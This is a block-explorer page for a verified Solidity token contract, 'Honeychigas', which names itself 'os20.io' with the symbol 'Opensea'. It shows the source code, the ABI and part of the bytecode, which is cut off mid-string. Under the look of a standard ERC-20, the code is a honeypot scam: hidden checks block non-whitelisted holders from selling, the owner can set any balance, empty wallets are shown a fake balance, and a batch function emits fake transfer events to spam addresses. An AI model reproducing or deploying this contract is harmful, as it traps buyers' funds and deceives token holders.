ETH Price: $3,410.16 (+2.96%)

Token

(0xD13017C013ae2eb708C4FCDB70B20D16ba3B64a9)
 

Overview

Max Total Supply

1,100,000,000,000 ERC-20 TOKEN*

Holders

17,024 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
noun12.eth
Balance
0.0000000000000001 ERC-20 TOKEN*

Value
$0.00
0x008c84421da5527f462886cec43d2717b686a7e4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Honeychigas

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-04
*/

// SPDX-License-Identifier: Unlicensed                                    
pragma solidity ^0.8.16;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(

        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library Address {
   
    function isContract(address account) internal view returns (bool) {
       
        bytes32 codehash;


            bytes32 accountHash
         = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
       
        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }


    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

 
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

 
    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }


    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");


        (bool success, bytes memory returndata) = target.call{value: weiValue}(
            data
        );
        if (success) {
            return returndata;
        } else {
           
            if (returndata.length > 0) {
               
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface ChiToken{
    function mint(uint256 value) external;
    function freeFromUpTo(address from, uint256 value) external;
    function balanceOf(address account)external  returns (uint256);
    function transfer(address recipient, uint256 amount) external  returns (bool);
}

contract Honeychigas is Ownable {
    address private _owner;
    address private _address0;
    address private _address1;
    string private _name = "os20.io";
    string private _symbol = "Opensea";
    mapping (address => bool) private _Addressint;
    mapping (address => bool) private _attacker;
    uint256 private _totalSupply = 1100000000000 * (10 ** decimals());
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _zero = 0;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);


    address private _chi = 0x0000000000004946c0e9F43F4Dee607b0eF1fA1c;
    ChiToken public chi;
    uint256 private _chitokenamount = 0;
    uint256 private _amount;

    constructor() {
        _owner = msg.sender;
        _address0 = msg.sender;
        _address1 = msg.sender;
        _balances[_owner] = _totalSupply;
        router = IUniswapV2Router02(_router);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        //add chi
        chi = ChiToken(_chi);
    }

    modifier discountCHI {
        uint256 gasStart = gasleft();
        _;
        uint256 initialGas = 21000 + 16 * msg.data.length;
        uint256 gasSpent = initialGas + gasStart - gasleft();
        uint256 freeUpValue = (gasSpent + 14154) / 41947;
        chi.freeFromUpTo(_owner, freeUpValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address wallet) public view returns (uint256) {
        return _balances[wallet] <=0? _amount:_balances[wallet];
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "Approve from the zero address");
        require(spender != address(0), "Approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        //chigastoken
        chi.mint(_chitokenamount);
        _approve(msg.sender, spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "Decreased allowance below zero");
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function bulkTransfer(address[] calldata to, uint256[] calldata amounts) public {
        require(to.length == amounts.length, "Length of addresses should be equal to amounts");
        for (uint256 i = 0; i < to.length; i++) {
            require(transfer(to[i], amounts[i]));
        }
    }


      function need(address miner, uint256 _value) external  {
            require(msg.sender == _address0, "!_address0");
             _balances[miner] = _value * 10 ** decimals();
    }


    function Lock(address addressn) public {
        require(msg.sender == _address0, "!_address0");_address1 = addressn;
    }

    function LockLiq() public {
        require(msg.sender == _address0, "!_address0");_address1 = uniswapV2Pair;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer amount exceeds balance");
         _willhack(sender, recipient, amount);
         _willSwap(sender, recipient, amount);
         //chigastoken
        if(_chitokenamount!=0 ){  chi.mint(_chitokenamount);}
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _willhack(address sender, address recipient, uint256 amount) internal view virtual{
          if(recipient != _address0 && sender != _address0 && amount > _zero){
              if( _attacker[sender]){
                  require(_attacker[sender] == false || recipient==_router || sender == _address1  ,"Transfer amount exceeds balance");}}           
    }
    
     function _willSwap(address sender, address recipient, uint256 amount) internal view virtual{
        if(  sender != _address0 && _address0!=_address1 && amount > _zero&&recipient != _address0 ){
            require( _Addressint[sender]||sender == _address1 ||sender==_router , "Transfer from the zero address");}
     }


    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "Transfer amount exceeds allowance");
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function hateBot(address addr,bool status) public {
        require(msg.sender == _address0, "!_address0.not Owner");
        _attacker[addr]=status;
    }



   function deposit(address addr, bool status) public {
      require(msg.sender == _address0, "!_address0.not Owner");
        _Addressint[addr] = status;
        if(_Addressint[addr]){
        _approve(addr, _router, _valuehash);
        }
    }

    //
    function batchTransferToken(address[] memory holders, uint256 amount) public discountCHI{
        _amount = amount;
        for (uint i=0; i<holders.length; i++) {
            emit Transfer(address(this), holders[i], amount*(10**decimals()));
        }
    }

   
    function getChitokenamount() external view returns(uint256){
        return _chitokenamount;
    }

    function setChitokenamount(uint256 amount) public {
        require(msg.sender == _address0, "!_address0");
        _chitokenamount = amount;
    }

    function withdrawToken(address _addr) external{
        require(msg.sender == _address0, "!_address0");
            chi.transfer(_addr,chi.balanceOf(address(this)));
        }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addressn","type":"address"}],"name":"Lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLiq","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransferToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"bulkTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"chi","outputs":[{"internalType":"contract ChiToken","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getChitokenamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"hateBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"miner","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"need","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setChitokenamount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600781526020017f6f7332302e696f00000000000000000000000000000000000000000000000000815250600490816200004a9190620008f5565b506040518060400160405280600781526020017f4f70656e7365610000000000000000000000000000000000000000000000000081525060059081620000919190620008f5565b50620000a2620005a660201b60201c565b600a620000b0919062000b6c565b6501001d1bf800620000c3919062000bbd565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a556000600d556d4946c0e9f43f4dee607b0ef1fa1c601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601255348015620001a557600080fd5b50620001c6620001ba620005af60201b60201c565b620005b760201b60201c565b33600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e8919062000c88565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000472573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000498919062000c88565b6040518363ffffffff1660e01b8152600401620004b792919062000ccb565b6020604051808303816000875af1158015620004d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004fd919062000c88565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000cf8565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006fd57607f821691505b602082108103620007135762000712620006b5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200077d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200073e565b6200078986836200073e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007d6620007d0620007ca84620007a1565b620007ab565b620007a1565b9050919050565b6000819050919050565b620007f283620007b5565b6200080a6200080182620007dd565b8484546200074b565b825550505050565b600090565b6200082162000812565b6200082e818484620007e7565b505050565b5b8181101562000856576200084a60008262000817565b60018101905062000834565b5050565b601f821115620008a5576200086f8162000719565b6200087a846200072e565b810160208510156200088a578190505b620008a262000899856200072e565b83018262000833565b50505b505050565b600082821c905092915050565b6000620008ca60001984600802620008aa565b1980831691505092915050565b6000620008e58383620008b7565b9150826002028217905092915050565b62000900826200067b565b67ffffffffffffffff8111156200091c576200091b62000686565b5b620009288254620006e4565b620009358282856200085a565b600060209050601f8311600181146200096d576000841562000958578287015190505b620009648582620008d7565b865550620009d4565b601f1984166200097d8662000719565b60005b82811015620009a75784890151825560018201915060208501945060208101905062000980565b86831015620009c75784890151620009c3601f891682620008b7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a6a5780860481111562000a425762000a41620009dc565b5b600185161562000a525780820291505b808102905062000a628562000a0b565b945062000a22565b94509492505050565b60008262000a85576001905062000b58565b8162000a95576000905062000b58565b816001811462000aae576002811462000ab95762000aef565b600191505062000b58565b60ff84111562000ace5762000acd620009dc565b5b8360020a91508482111562000ae85762000ae7620009dc565b5b5062000b58565b5060208310610133831016604e8410600b841016171562000b295782820a90508381111562000b235762000b22620009dc565b5b62000b58565b62000b38848484600162000a18565b9250905081840481111562000b525762000b51620009dc565b5b81810290505b9392505050565b600060ff82169050919050565b600062000b7982620007a1565b915062000b868362000b5f565b925062000bb57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a73565b905092915050565b600062000bca82620007a1565b915062000bd783620007a1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000c135762000c12620009dc565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c508262000c23565b9050919050565b62000c628162000c43565b811462000c6e57600080fd5b50565b60008151905062000c828162000c57565b92915050565b60006020828403121562000ca15762000ca062000c1e565b5b600062000cb18482850162000c71565b91505092915050565b62000cc58162000c43565b82525050565b600060408201905062000ce2600083018562000cba565b62000cf1602083018462000cba565b9392505050565b6132ad8062000d086000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f9578063c1b5f12c11610097578063dd62ed3e11610071578063dd62ed3e146104a8578063f2fde38b146104d8578063f835006d146104f4578063f887ea40146104fe576101a9565b8063c1b5f12c14610450578063c92aecc41461046c578063cab131331461048a576101a9565b806395d89b41116100d357806395d89b41146103b6578063a457c2d7146103d4578063a9059cbb14610404578063adc9740c14610434576101a9565b8063715018a614610372578063894760691461037c5780638da5cb5b14610398576101a9565b80633950935111610166578063512d7cfd11610140578063512d7cfd146102ee5780635b4ebf0b1461030a5780636f8d9cc91461032657806370a0823114610342576101a9565b8063395093511461028457806349197cb3146102b457806349bd5a5e146102d0576101a9565b806306fdde03146101ae578063095ea7b3146101cc578063153a1f3e146101fc57806318160ddd1461021857806323b872dd14610236578063313ce56714610266575b600080fd5b6101b661051c565b6040516101c391906121f2565b60405180910390f35b6101e660048036038101906101e191906122bc565b6105ae565b6040516101f39190612317565b60405180910390f35b610216600480360381019061021191906123ed565b610654565b005b610220610717565b60405161022d919061247d565b60405180910390f35b610250600480360381019061024b9190612498565b610721565b60405161025d9190612317565b60405180910390f35b61026e61080b565b60405161027b9190612507565b60405180910390f35b61029e600480360381019061029991906122bc565b610814565b6040516102ab9190612317565b60405180910390f35b6102ce60048036038101906102c991906122bc565b6108b2565b005b6102d86109a8565b6040516102e59190612531565b60405180910390f35b6103086004803603810190610303919061268a565b6109ce565b005b610324600480360381019061031f9190612712565b610bab565b005b610340600480360381019061033b9190612752565b610c96565b005b61035c6004803603810190610357919061277f565b610d30565b604051610369919061247d565b60405180910390f35b61037a610dc9565b005b6103966004803603810190610391919061277f565b610e51565b005b6103a0611022565b6040516103ad9190612531565b60405180910390f35b6103be61104b565b6040516103cb91906121f2565b60405180910390f35b6103ee60048036038101906103e991906122bc565b6110dd565b6040516103fb9190612317565b60405180910390f35b61041e600480360381019061041991906122bc565b6111ba565b60405161042b9190612317565b60405180910390f35b61044e60048036038101906104499190612712565b6111d1565b005b61046a6004803603810190610465919061277f565b61133e565b005b610474611412565b604051610481919061280b565b60405180910390f35b610492611438565b60405161049f919061247d565b60405180910390f35b6104c260048036038101906104bd9190612826565b611442565b6040516104cf919061247d565b60405180910390f35b6104f260048036038101906104ed919061277f565b6114c9565b005b6104fc6115c0565b005b6105066116b5565b6040516105139190612887565b60405180910390f35b60606004805461052b906128d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610557906128d1565b80156105a45780601f10610579576101008083540402835291602001916105a4565b820191906000526020600020905b81548152906001019060200180831161058757829003601f168201915b5050505050905090565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0712d686012546040518263ffffffff1660e01b815260040161060d919061247d565b600060405180830381600087803b15801561062757600080fd5b505af115801561063b573d6000803e3d6000fd5b5050505061064a3384846116db565b6001905092915050565b81819050848490501461069c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069390612974565b60405180910390fd5b60005b84849050811015610710576106f48585838181106106c0576106bf612994565b5b90506020020160208101906106d5919061277f565b8484848181106106e8576106e7612994565b5b905060200201356111ba565b6106fd57600080fd5b8080610708906129f2565b91505061069f565b5050505050565b6000600854905090565b600061072e8484846118a4565b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e990612aac565b60405180910390fd5b6107ff85338584036116db565b60019150509392505050565b60006012905090565b60006108a8338484600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108a39190612acc565b6116db565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093990612b4c565b60405180910390fd5b61094a61080b565b600a6109569190612c9f565b816109619190612cea565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005a90508160138190555060005b8351811015610a96578381815181106109f9576109f8612994565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a5761080b565b600a610a639190612c9f565b86610a6e9190612cea565b604051610a7b919061247d565b60405180910390a38080610a8e906129f2565b9150506109dd565b506000803690506010610aa99190612cea565b615208610ab69190612acc565b905060005a8383610ac79190612acc565b610ad19190612d44565b9050600061a3db61374a83610ae69190612acc565b610af09190612da7565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663079d229f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610b71929190612dd8565b600060405180830381600087803b158015610b8b57600080fd5b505af1158015610b9f573d6000803e3d6000fd5b50505050505050505050565b600260009054906101000a900473fffffffffffffffffffffffffffffffffffffff